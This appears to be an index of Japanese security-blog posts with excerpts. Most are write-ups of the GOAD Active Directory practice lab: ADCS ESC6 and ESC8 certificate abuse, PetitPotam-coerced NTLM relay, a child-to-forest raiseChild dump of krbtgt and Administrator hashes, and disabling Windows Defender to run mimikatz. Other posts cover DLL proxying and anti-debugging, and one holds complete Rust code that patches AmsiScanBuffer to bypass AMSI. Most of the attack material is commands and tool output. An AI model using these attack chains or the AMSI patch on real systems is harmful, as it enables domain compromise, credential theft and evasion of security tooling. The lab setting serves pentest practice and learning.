GOAD Writeup Ch3.5
Round 3.5 ADCS攻略をやる ESC 6 ┌──(kali㉿kali)-[~/goad/braavos] └─$ certipy-ad req -u khal.drogo@essos.local -p 'horse' -target 192.168.56.23 -template User -ca 'ESSOS-CA' -upn administrator@essos.local Certipy v4.8.2 - by Oliver Lyak (ly4k) [*] Requesting certificate via RPC [*] Successfully requested certificate [*] Request ID is 21 [*] Got certificate with UPN 'administrator@essos.local' [*] Certificate has no object SID [*] Saved certificate and private key to 'administrator.pfx' ┌──(kali㉿kali)-[~/goad/braavos] └─$ certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.56.12 Certipy v4.8.2 - by Oliver Lyak (ly4k) [*] Using principal: administrator@essos.local [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'administrator.ccache' [*] Trying to retrieve NT hash for 'administrator' [*] Got hash for 'administrator@essos.local': aad3b435b51404eeaad3b435b51404ee:217e50203a5aba59cefa863c724bf61b ESC 8 ntlmrelayxで待ち受けておく ┌──(kali㉿kali)-[~/goad/braavos] └─$ impacket-ntlmrelayx -t http://192.168.56.23/certsrv/certfnsh.asp -smb2support --adcs --template DomainController Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies [*] Protocol Client LDAP loaded.. [*] Protocol Client LDAPS loaded.. [*] Protocol Client SMTP loaded.. [*] Protocol Client RPC loaded.. [*] Protocol Client DCSYNC loaded.. [*] Protocol Client SMB loaded.. [*] Protocol Client HTTPS loaded.. [*] Protocol Client HTTP loaded.. [*] Protocol Client IMAP loaded.. [*] Protocol Client IMAPS loaded.. [*] Protocol Client MSSQL loaded.. [*] Running in relay mode to single host [*] Setting up SMB Server on port 445 [*] Setting up HTTP Server on port 80 [*] Setting up WCF Server on port 9389 [*] Setting up RAW Server on port 6666 [*] Multirelay disabled [*] Servers started, waiting for connections Petipotamで強制的に認証させる https://github.com/topotam/PetitPotam ┌──(kali㉿kali)-[~/goad/braavos] └─$ python3 ~/tools/PetitPotam/PetitPotam.py 192.168.56.104 meereen.essos.local /home/kali/tools/PetitPotam/PetitPotam.py:20: SyntaxWarning: invalid escape sequence '\ ' show_banner = ''' ___ _ _ _ ___ _ | _ \ ___ | |_ (_) | |_ | _ \ ___ | |_ __ _ _ __ | _/ / -_) | _| | | | _| | _/ / _ \ | _| / _` | | ' \ _|_|_ \___| _\__| _|_|_ _\__| _|_|_ \___/ _\__| \__,_| |_|_|_| _| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""| "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-' PoC to elicit machine account authentication via some MS-EFSRPC functions by topotam (@topotam77) Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN Trying pipe lsarpc [-] Connecting to ncacn_np:meereen.essos.local[\PIPE\lsarpc] [+] Connected! [+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e [+] Successfully bound! [-] Sending EfsRpcOpenFileRaw! [+] Got expected ERROR_BAD_NETPATH exception!! [+] Attack worked! ntlmrelayxに下記のような出力が出てpfxファイルを取得できる ...
GOAD Writeup Ch4
Round 4 そろそろ狩るか…♤ 最上位の親ドメインであるsevenkingdomsを攻略する impacket-raiseChild で信頼関係のあるsevenkingdomsのNTLMハッシュをダンプする ┌──(kali㉿kali)-[~/goad/winterfell] └─$ impacket-raiseChild north.sevenkingdoms.local/Administrator -hashes :dbd13e1c4e338284ac4e9874f7de6ef4 Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies [*] Raising child domain north.sevenkingdoms.local [*] Forest FQDN is: sevenkingdoms.local [*] Raising north.sevenkingdoms.local to sevenkingdoms.local [*] sevenkingdoms.local Enterprise Admin SID is: S-1-5-21-2095540843-66383145-2975355457-519 [*] Getting credentials for north.sevenkingdoms.local north.sevenkingdoms.local/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9cd8721de5b33c59702a9f64787f1ea3::: north.sevenkingdoms.local/krbtgt:aes256-cts-hmac-sha1-96s:5ee25c7ef14d94c5a11bb2f794f18df7117a2f309ef29e5e9a5e17b79302e74d /usr/share/doc/python3-impacket/examples/raiseChild.py:910: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC). tenYearsFromNow = datetime.datetime.utcnow() + datetime.timedelta(days=365*10) [*] Getting credentials for sevenkingdoms.local sevenkingdoms.local/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:20c52248354cb5f4cce513c736ce99a5::: sevenkingdoms.local/krbtgt:aes256-cts-hmac-sha1-96s:de6bb26a50c69a134f5a1863dd57d2cacc33e360eed075f948fb230701fb3cb8 [*] Target User account name is Administrator sevenkingdoms.local/Administrator:500:aad3b435b51404eeaad3b435b51404ee:c66d72021a2d4744409969a581a1705e::: sevenkingdoms.local/Administrator:aes256-cts-hmac-sha1-96s:bdb1a615bc9d82d2ab21f09f11baaef4bc66c48efdd56424e1206e581e4dd827 味気がないので手元でゴールデンキーを作って試す。 ...
GOAD Writeup Ch3
Round 3 meereenの認証情報をAdministrator/P@ssw0rd! にした。 meereenの配下のbraavosとかはADCSだ。せっかくだし、ADCS周りも攻撃しようじゃないか。 THEFT 1 Exporting certificates using the CryptoAPI mimikatz.exeを用いて証明書を窃取する。 と思ったけどWindows Defenderでmimikatzが検知される。 khal.drogoはやりたい放題のアカウントなのでWindows Defenderのリアルタイムプロテクションを止める。 *Evil-WinRM* PS C:\Users\khal.drogo\Documents> whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ========================================= ================================================================== ======= SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled SeSecurityPrivilege Manage auditing and security log Enabled SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled SeLoadDriverPrivilege Load and unload device drivers Enabled SeSystemProfilePrivilege Profile system performance Enabled SeSystemtimePrivilege Change the system time Enabled SeProfileSingleProcessPrivilege Profile single process Enabled SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled SeCreatePagefilePrivilege Create a pagefile Enabled SeBackupPrivilege Back up files and directories Enabled SeRestorePrivilege Restore files and directories Enabled SeShutdownPrivilege Shut down the system Enabled SeDebugPrivilege Debug programs Enabled SeSystemEnvironmentPrivilege Modify firmware environment values Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled SeUndockPrivilege Remove computer from docking station Enabled SeManageVolumePrivilege Perform volume maintenance tasks Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled SeTimeZonePrivilege Change the time zone Enabled SeCreateSymbolicLinkPrivilege Create symbolic links Enabled SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled *Evil-WinRM* PS C:\Users\khal.drogo\Documents> whoami essos\khal.drogo *Evil-WinRM* PS C:\Users\khal.drogo\Documents> Set-MpPreference -DisableRealtimeMonitoring $true これでmimikatz.exeを実行してみる ...
GOAD Writeup Ch2
Round 2 WinterfellではAdministratorのパスワードを使いまわしていることがわかる ┌──(kali㉿kali)-[~] └─$ nxc winrm 192.168.56.10-12 192.168.56.22-23 -u Administrator -H 'dbd13e1c4e338284ac4e9874f7de6ef4' WINRM 192.168.56.10 5985 KINGSLANDING [*] Windows 10 / Server 2019 Build 17763 (name:KINGSLANDING) (domain:sevenkingdoms.local) WINRM 192.168.56.12 5985 MEEREEN [*] Windows 10 / Server 2016 Build 14393 (name:MEEREEN) (domain:essos.local) WINRM 192.168.56.23 5985 BRAAVOS [*] Windows 10 / Server 2016 Build 14393 (name:BRAAVOS) (domain:essos.local) WINRM 192.168.56.11 5985 WINTERFELL [*] Windows 10 / Server 2019 Build 17763 (name:WINTERFELL) (domain:north.sevenkingdoms.local) WINRM 192.168.56.22 5985 CASTELBLACK [*] Windows 10 / Server 2019 Build 17763 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) WINRM 192.168.56.10 5985 KINGSLANDING [-] sevenkingdoms.local\Administrator:dbd13e1c4e338284ac4e9874f7de6ef4 WINRM 192.168.56.12 5985 MEEREEN [-] essos.local\Administrator:dbd13e1c4e338284ac4e9874f7de6ef4 WINRM 192.168.56.23 5985 BRAAVOS [-] essos.local\Administrator:dbd13e1c4e338284ac4e9874f7de6ef4 WINRM 192.168.56.11 5985 WINTERFELL [+] north.sevenkingdoms.local\Administrator:dbd13e1c4e338284ac4e9874f7de6ef4 (Pwn3d!) WINRM 192.168.56.22 5985 CASTELBLACK [+] north.sevenkingdoms.local\Administrator:dbd13e1c4e338284ac4e9874f7de6ef4 (Pwn3d!) Running nxc against 5 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00 それはそれとして他に色々探ってみる NTLMリレー攻撃をするためにSMBサイニングが無効なサービスの情報を集める ┌──(kali㉿kali)-[~/goad] └─$ nxc smb 192.168.56.10-23 --gen-relay-list relay.txt SMB 192.168.56.10 445 KINGSLANDING [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMBv1:False) SMB 192.168.56.12 445 MEEREEN [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:MEEREEN) (domain:essos.local) (signing:True) (SMBv1:True) SMB 192.168.56.11 445 WINTERFELL [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False) SMB 192.168.56.23 445 BRAAVOS [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:BRAAVOS) (domain:essos.local) (signing:False) (SMBv1:True) SMB 192.168.56.22 445 CASTELBLACK [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:False) Running nxc against 14 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00 ┌──(kali㉿kali)-[~/goad] └─$ cat relay.txt 192.168.56.23 192.168.56.22 サイニングfalseなターゲットの情報を取得できたのでNTLM認証を中継することができそう Responderの設定を変えて **┌──(kali㉿kali)-[~/goad] └─$ sudo sed -i 's/HTTP = On/HTTP = Off/g' /etc/\responder/Responder.conf && sudo cat /etc/responder/Responder.conf | grep --color=never 'HTTP =' HTTP = Off ┌──(kali㉿kali)-[~/goad] └─$ sudo sed -i 's/SMB = On/SMB = Off/g' /etc/responder/Responder.conf && sudo cat /etc/responder/Responder.conf | grep --color=never 'HTTP =' HTTP = Off** ntlmrelayxを起動 **┌──(kali㉿kali)-[~/goad] └─$ impacket-ntlmrelayx -tf relay.txt -of netntlm -smb2support -socks Impacket v0.12.0.dev1 - Copyright 2023 Fortra [*] Protocol Client LDAPS loaded.. [*] Protocol Client LDAP loaded.. [*] Protocol Client SMTP loaded.. [*] Protocol Client RPC loaded.. [*] Protocol Client DCSYNC loaded.. [*] Protocol Client SMB loaded.. [*] Protocol Client HTTPS loaded.. [*] Protocol Client HTTP loaded.. [*] Protocol Client IMAPS loaded.. [*] Protocol Client IMAP loaded.. [*] Protocol Client MSSQL loaded.. [*] Running in relay mode to hosts in targetfile [*] SOCKS proxy started. Listening on 127.0.0.1:1080 [*] SMB Socks Plugin loaded.. [*] HTTP Socks Plugin loaded.. [*] SMTP Socks Plugin loaded.. [*] IMAP Socks Plugin loaded.. [*] IMAPS Socks Plugin loaded.. [*] MSSQL Socks Plugin loaded.. [*] HTTPS Socks Plugin loaded.. [*] Setting up SMB Server [*] Setting up HTTP Server on port 80 * Serving Flask app 'impacket.examples.ntlmrelayx.servers.socksserver' * Debug mode: off [*] Setting up WCF Server [*] Setting up RAW Server on port 6666 [*] Servers started, waiting for connections Type help for list of commands ntlmrelayx>** Responderも起動して ...
GOAD Writeup Ch1
About GOAD GOADとはActive Directory環境でペンテストの練習ができる環境のことである。 https://github.com/Orange-Cyberdefense/GOAD/ GOAD is a pentest active directory LAB project. The purpose of this lab is to give pentesters a vulnerable Active directory environment ready to use to practice usual attack techniques. と書かれている通り、様々な攻撃手法を試すことができる。 今回は3ドメイン5ホスト環境でペンテストの練習をしてみる。 Installation https://github.com/Orange-Cyberdefense/GOAD/?tab=readme-ov-file#installation 公式のREADMEが詳しいのでこれ見てやってください。 Writeup Recon とりあえず素朴なreconをしてみる。 ┌──(kali㉿kali)-[~] └─$ nxc smb 192.168.56.0/24 SMB 192.168.56.12 445 MEEREEN [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:MEEREEN) (domain:essos.local) (signing:True) (SMBv1:True) SMB 192.168.56.10 445 KINGSLANDING [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMBv1:False) SMB 192.168.56.11 445 WINTERFELL [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False) SMB 192.168.56.23 445 BRAAVOS [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:BRAAVOS) (domain:essos.local) (signing:False) (SMBv1:True) SMB 192.168.56.22 445 CASTELBLACK [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:False) Running nxc against 256 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00 5つのホストに3つのドメインを見つけることができた。 ...
Atack of Titan
This is Day 9 of the monicle Advent Calendar! https://adventar.org/calendars/8977 tl;dr Active Directory exploitation involves unauthorized actions by attackers to compromise, manipulate, or gain unauthorized access to an organization’s Active Directory infrastructure. This can include stealing credentials, using password hashes, forging tickets, escalating privileges, moving laterally within the network, and establishing persistent access. Organizations should implement security measures to detect and mitigate these threats. What is Active Directory Active Directory (AD) is a directory service developed by Microsoft for Windows domain networks. It is included in most Windows Server operating systems and plays a crucial role in managing and organizing resources within a network, such as computers, users, groups, and other devices. ...
DLL proxying with Rust
DLL proxying with Rust what is dll proxying? DLL proxying, also known as DLL redirection or DLL hijacking, is a technique used by attackers or developers to manipulate the way Windows loads dynamic link libraries (DLLs). DLLs are files that contain code and data that multiple programs can use simultaneously. They provide a way to modularize code and promote code reuse. DLL proxying involves placing a malicious or modified DLL in a location that is searched by a target application before the legitimate DLL is located. When the application attempts to load a DLL, the operating system searches for the DLL in a specific order, including the application’s directory, the system directories, and directories listed in the system’s PATH environment variable. If a DLL with the same name is found in one of these directories, it may be loaded instead of the intended DLL. ...
Anti-debug introduction
Anti-debug アンチデバッグのやり方はたくさんあるが、その中でもよく使われるものを紹介する。 網羅的に把握したい場合は下記リンクを参照すると良い。 https://unprotect.it/category/anti-debugging/ 古典的なアンチデバッグ bool FindDebugger() { bool bDetect = false; HWND hDebugger = ::FindWindow(NULL, "OllyDBG"); if (hDebugger) { bDetect = true; AfxMessageBox("Can not use debugger"); } return bDetect; } デバッガーのウィンドウキャプションを見つけてプログラムを終了させる。 IsDebuggerPresent MSDNに記載されていてkernel32.dllから提供されている。 if (IsDebuggerPresent()) { exit(1); } アセンブリになると下記のようになる mov eax, dword ptf fs:[18] mov eax, dword ptr ds:[eax+30] movzx eax, byte ptr ds:[eax+2] retn fs:[18] はTEBを指す。(Thread Environment Block) TEBをEAXに入れたがそこから30番地離れたアドレスを再びEAXに入力するコードだ。 TEBから0x30離れたところにはPEB(Process Environment Block) がある。 EAXにはPEBが入っていて、そこから+2移動したアドレスから1バイト持ってきていると解釈できる。 PEBの構造体は下記の通り。 typedef struct _PEB { BYTE Reserved1[2]; BYTE BeingDebugged; BYTE Reserved2[1]; PVOID Reserved3[2]; PPEB_LDR_DATA Ldr; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; PVOID Reserved4[3]; PVOID AtlThunkSListPtr; PVOID Reserved5; ULONG Reserved6; PVOID Reserved7; ULONG Reserved8; ULONG AtlThunkSListPtr32; PVOID Reserved9[45]; BYTE Reserved10[96]; PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine; BYTE Reserved11[128]; PVOID Reserved12[1]; ULONG SessionId; } PEB, *PPEB; BeingDebugged という名前の箇所の値を入れている。 ここにtrueが入っているとデバッグ中であり、falseが入っているとデバッグ中ではないことを表現する。 NtQueryInformationProcess ntdll.dllにエクスポートされている NtQueryInformationProcess() というネイティブAPIを利用した方法を書く。 デバッグポートをチェックする方法と呼ばれる。 デバッグポートはカーネルで管理する EPROCESS 構造体の DebugPort フラグで有効にされ、 NtQueryInformationProcess はその値を取得する。 ...
AMSI bypass
スキャン要求を失敗させるために、すでにメモリにロードされているAMSI ライブラリ自体のコードを改ざんする. メモリにすでにロードされている AmsiScanBuffer というライブラリを探し出し、そのアドレスの命令を上書きしてエラーメッセージを表示させます。この攻撃では、マルウェアがメモリ内のライブラリ「AmsiScanBuffer」を探し出し、そのアドレスの命令を、エラーメッセージにリダイレクトする新しい命令で上書きします。 [package] name = "amsibypass" version = "0.1.0" edition = "2021" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [[bin]] name = "amsi_bypass" path = "src/main.rs" [dependencies] winapi = {version = "0.3.9", features=["memoryapi", "libloaderapi", "processthreadsapi"]} win32-error = "0.9.0" use std::{ffi::CString, ptr}; use winapi::{ um::{ memoryapi::{ VirtualProtect, WriteProcessMemory }, libloaderapi::{ LoadLibraryA, GetProcAddress }, processthreadsapi::GetCurrentProcess, winnt::PAGE_READWRITE }, shared::{ minwindef::{ DWORD, FALSE }, ntdef::NULL } }; fn main() { println!("[+] patching amsi for current process"); unsafe { // Getting the address of AmsiScanBuffer. let patch = [0x40, 0x40, 0x40, 0x40, 0x40, 0x40]; let amsi_dll = LoadLibraryA(CString::new("amsi").unwrap().as_ptr()); let amsi_scan_addr = GetProcAddress(amsi_dll, CString::new("AmsiScanBuffer").unwrap().as_ptr()); let mut old_permissions: DWORD = 0; // Overwrite this address with nops. if VirtualProtect(amsi_scan_addr.cast(), 6, PAGE_READWRITE, &mut old_permissions) == FALSE { panic!("[-] Failed to change protection."); } let written: *mut usize = ptr::null_mut(); if WriteProcessMemory(GetCurrentProcess(), amsi_scan_addr.cast(), patch.as_ptr().cast(), 6, written) == FALSE { panic!("[-] Failed to overwrite function."); } // Restoring the permissions. VirtualProtect(amsi_scan_addr.cast(), 6, old_permissions, &mut old_permissions); println!("[+] AmsiScanBuffer patched!"); } } inspired: https://github.com/trickster0/OffensiveRust ...
Offensive Rustのレビュー
Offensive Rust かんたんなまとめ: Rustでレッドチームシミュレータを書きたい人におすすめ。 リンク https://redteamsorcery.teachable.com/courses/enrolled/1973492 https://www.udemy.com/course/offensive-rust/ アフィリエイトはないです。 概要 本教材ではオフェンシブなコード、レッドチーム向けのコードをRustで書いていく。 なお、対象環境はWindows。 WSLとかではなくWindowsに直接Rustをインストールする。 内容 内容はかなり多岐にわたる。 最初の方ではRustのセットアップを実施し、基礎的なRustの書き方を教えてくれる。 中盤からはオフェンシブなコードを書いていく。 例えばLDAPを用いたActive Directoryの列挙であったり、シェルコードを書いたり、DLLインジェクションを行ったりと、基本的なRustの書き方を抑えつつレッドチーム向けのコードを書いていく。 また、Reflective PE Loaderを書いたり、Process Hollowingをやったり、ハッシュ化した関数呼び出しをしたりとレッドチームシミュレータで実行しそうな内容をRustでどのように書くか教えてくれる。 以降もAMSIのバイパスの仕方やProcess Doppelgangingの仕方をRustで解説してくれる。 総じてレッドチームシミュレータをRustで書いてみたいと方にはおすすめの内容。 各パートは体感ではそこまで長くなく、サッと書いてサッと試すということをやっていく。 まとめ レッドチーム向けのシミュレータを書きたいとなったとき、候補としてはC/C++が挙がるがRustで書きたい人は、この教材を買って見てみると良いだろう。